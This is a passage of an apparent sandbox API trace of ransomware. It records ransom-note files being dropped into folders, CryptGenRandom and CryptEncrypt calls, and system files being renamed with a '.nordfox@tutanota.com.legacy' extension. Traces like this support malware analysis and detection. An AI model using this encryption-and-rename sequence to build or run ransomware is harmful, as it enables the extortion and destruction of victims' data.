ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Users", cAlternateFileName="")) returned 1 [0066.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.911] GetLastError () returned 0x5 [0066.911] SetLastError (dwErrCode=0x5) [0066.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0066.911] GetLastError () returned 0x5 [0066.911] SetLastError (dwErrCode=0x5) [0066.911] GetLastError () returned 0x5 [0066.912] SetLastError (dwErrCode=0x5) [0066.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539610 [0066.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d100 [0066.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0066.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0066.912] GetLastError () returned 0x5 [0066.912] SetLastError (dwErrCode=0x5) [0066.912] GetLastError () returned 0x5 [0066.912] SetLastError (dwErrCode=0x5) [0066.912] GetLastError () returned 0x5 [0066.912] SetLastError (dwErrCode=0x5) [0066.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574d68 [0066.912] CreateFileW (lpFileName="\\Users\\READ_ME.legacy" (normalized: "c:\\users\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574d68 | out: hHeap=0x520000) returned 1 [0066.913] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.914] CloseHandle (hObject=0x448) returned 1 [0066.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0066.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0066.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d100 | out: hHeap=0x520000) returned 1 [0066.915] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xae3c8e64, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xae3c8e64, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows", cAlternateFileName="")) returned 1 [0066.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0066.915] GetLastError () returned 0xb7 [0066.915] SetLastError (dwErrCode=0xb7) [0066.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0066.915] GetLastError () returned 0xb7 [0066.915] SetLastError (dwErrCode=0xb7) [0066.915] GetLastError () returned 0xb7 [0066.915] SetLastError (dwErrCode=0xb7) [0066.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574d68 [0066.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0066.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0066.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539700 [0066.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5532a0 [0066.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5532a0 | out: hHeap=0x520000) returned 1 [0066.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5466d8 [0066.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5466d8 | out: hHeap=0x520000) returned 1 [0066.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539700 | out: hHeap=0x520000) returned 1 [0066.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574d68 | out: hHeap=0x520000) returned 1 [0066.916] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0066.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0066.916] GetLastError () returned 0xb7 [0066.916] SetLastError (dwErrCode=0xb7) [0066.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0066.916] GetLastError () returned 0xb7 [0066.916] SetLastError (dwErrCode=0xb7) [0066.916] GetLastError () returned 0xb7 [0066.917] SetLastError (dwErrCode=0xb7) [0066.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574d68 [0066.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574cf8 [0066.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574d68 | out: hHeap=0x520000) returned 1 [0066.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574cf8 | out: hHeap=0x520000) returned 1 [0066.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574d68 [0066.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539700 [0066.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574cf8 [0066.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d270 [0066.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0066.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0066.917] GetLastError () returned 0xb7 [0066.917] SetLastError (dwErrCode=0xb7) [0066.917] GetLastError () returned 0xb7 [0066.917] SetLastError (dwErrCode=0xb7) [0066.917] GetLastError () returned 0xb7 [0066.918] SetLastError (dwErrCode=0xb7) [0066.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0066.918] CreateFileW (lpFileName="\\Windows10Upgrade\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0066.942] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.943] CloseHandle (hObject=0x448) returned 1 [0066.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0066.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0066.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d270 | out: hHeap=0x520000) returned 1 [0066.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574cf8 | out: hHeap=0x520000) returned 1 [0066.943] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0 [0066.943] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571978 [0066.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5724a8 [0066.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d270 [0066.945] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5724a8 | out: pbBuffer=0x5724a8) returned 1 [0066.945] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d270 | out: pbBuffer=0x54d270) returned 1 [0066.945] SetFileAttributesW (lpFileName="\\swapfile.sys", dwFileAttributes=0x80) returned 0 [0066.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0066.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x550e18 [0066.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0066.946] CreateFileW (lpFileName="\\swapfile.sys" (normalized: "c:\\swapfile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0066.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571978 | out: hHeap=0x520000) returned 1 [0066.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b10 | out: hHeap=0x520000) returned 1 [0066.946] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571978 [0066.946] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5710c0 [0066.946] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1b0 [0066.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5710c0 | out: pbBuffer=0x5710c0) returned 1 [0066.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1b0 | out: pbBuffer=0x54d1b0) returned 1 [0066.946] SetFileAttributesW (lpFileName="\\pagefile.sys", dwFileAttributes=0x80) returned 0 [0066.946] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0066.946] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x550e18 [0066.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0066.947] CreateFileW (lpFileName="\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0066.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571978 | out: hHeap=0x520000) returned 1 [0066.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0066.947] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0066.947] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x56c5b0 [0066.947] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d100 [0066.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x56c5b0 | out: pbBuffer=0x56c5b0) returned 1 [0066.947] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d100 | out: pbBuffer=0x54d100) returned 1 [0066.947] SetFileAttributesW (lpFileName="\\hiberfil.sys", dwFileAttributes=0x80) returned 0 [0066.947] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0066.947] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x550e18 [0066.948] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0066.948] CreateFileW (lpFileName="\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.948] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0066.948] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0066.948] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0066.948] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0066.948] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5518c0 [0066.948] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0066.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5518c0 | out: pbBuffer=0x5518c0) returned 1 [0066.948] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0066.948] SetFileAttributesW (lpFileName="\\BOOTSECT.BAK", dwFileAttributes=0x80) returned 1 [0066.949] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0066.949] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x550e18 [0066.949] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0066.949] CreateFileW (lpFileName="\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.949] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0066.949] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x57a120 [0066.949] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x57c128 [0066.949] ReadFile (in: hFile=0x448, lpBuffer=0x57a120, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57a120*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0066.958] SetFilePointer (in: hFile=0x448, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.959] WriteFile (in: hFile=0x448, lpBuffer=0x57c128*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57c128*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0066.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57a120 | out: hHeap=0x520000) returned 1 [0066.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57c128 | out: hHeap=0x520000) returned 1 [0066.959] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0066.960] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0066.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5518c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5518c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0066.968] WriteFile (in: hFile=0x448, lpBuffer=0x5518c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5518c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0066.968] WriteFile (in: hFile=0x448, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0066.968] CloseHandle (hObject=0x448) returned 1 [0067.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5518c0 | out: hHeap=0x520000) returned 1 [0067.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.072] MoveFileExW (lpExistingFileName="\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="\\BOOTSECT.BAK.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\bootsect.bak.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0067.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0067.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0067.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571cc0 | out: hHeap=0x520000) returned 1 [0067.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0067.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5518c0 [0067.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0067.113] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5518c0 | out: pbBuffer=0x5518c0) returned 1 [0067.113] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d090 | out: pbBuffer=0x54d090) returned 1 [0067.113] SetFileAttributesW (lpFileName="\\BOOTNXT", dwFileAttributes=0x80) returned 1 [0067.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571cc0 [0067.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x550e18 [0067.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571cc0 | out: hHeap=0x520000) returned 1 [0067.126] CreateFileW (lpFileName="\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0067.127] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1) returned 1 [0067.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x54d0c0 [0067.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x54d080 [0067.127] ReadFile (in: hFile=0x448, lpBuffer=0x54d0c0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1, lpOverlapped=0x0) returned 1 [0067.128] SetFilePointer (in: hFile=0x448, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.128] WriteFile (in: hFile=0x448, lpBuffer=0x54d080*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d080*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1, lpOverlapped=0x0) returned 1 [0067.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0067.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d080 | out: hHeap=0x520000) returned 1 [0067.128] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1 [0067.129] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0067.129] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5518c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5518c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0067.129] WriteFile (in: hFile=0x448, lpBuffer=0x5518c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5518c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0067.129] WriteFile (in: hFile=0x448, lpBuffer=0x54d090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d090*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0067.129] CloseHandle (hObject=0x448) returned 1 [0067.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5518c0 | out: hHeap=0x520000) returned 1 [0067.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0067.136] MoveFileExW (lpExistingFileName="\\BOOTNXT" (normalized: "c:\\bootnxt"), lpNewFileName="\\BOOTNXT.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\bootnxt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0067.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0067.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0067.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bd0 [0067.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5518c0 [0067.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d080 [0067.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5518c0 | out: pbBuffer=0x5518c0) returned 1 [0067.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d080 | out: pbBuffer=0x54d080) returned 1 [0067.138] SetFileAttributesW (lpFileName="\\bootmgr", dwFileAttributes=0x80) returned 0 [0067.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0067.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x550e18 [0067.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0067.140] CreateFileW (lpFileName="\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0067.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0067.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b30 | out: hHeap=0x520000) returned 1 [0067.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0067.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0067.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.141] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0067.141] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0067.141] SetFileAttributesW (lpFileName="\\$WINRE_BACKUP_PARTITION.MARKER", dwFileAttributes=0x80) returned 1 [0067.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0067.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0067.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0067.165] CreateFileW (lpFileName="\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0067.165] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0067.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x54d190 [0067.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x54d0a0 [0067.166] ReadFile (in: hFile=0x448, lpBuffer=0x54d190, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d190*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0067.166] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.166] WriteFile (in: hFile=0x448, lpBuffer=0x54d0a0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0067.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0067.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0a0 | out: hHeap=0x520000) returned 1 [0067.166] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0067.166] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0067.166] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, 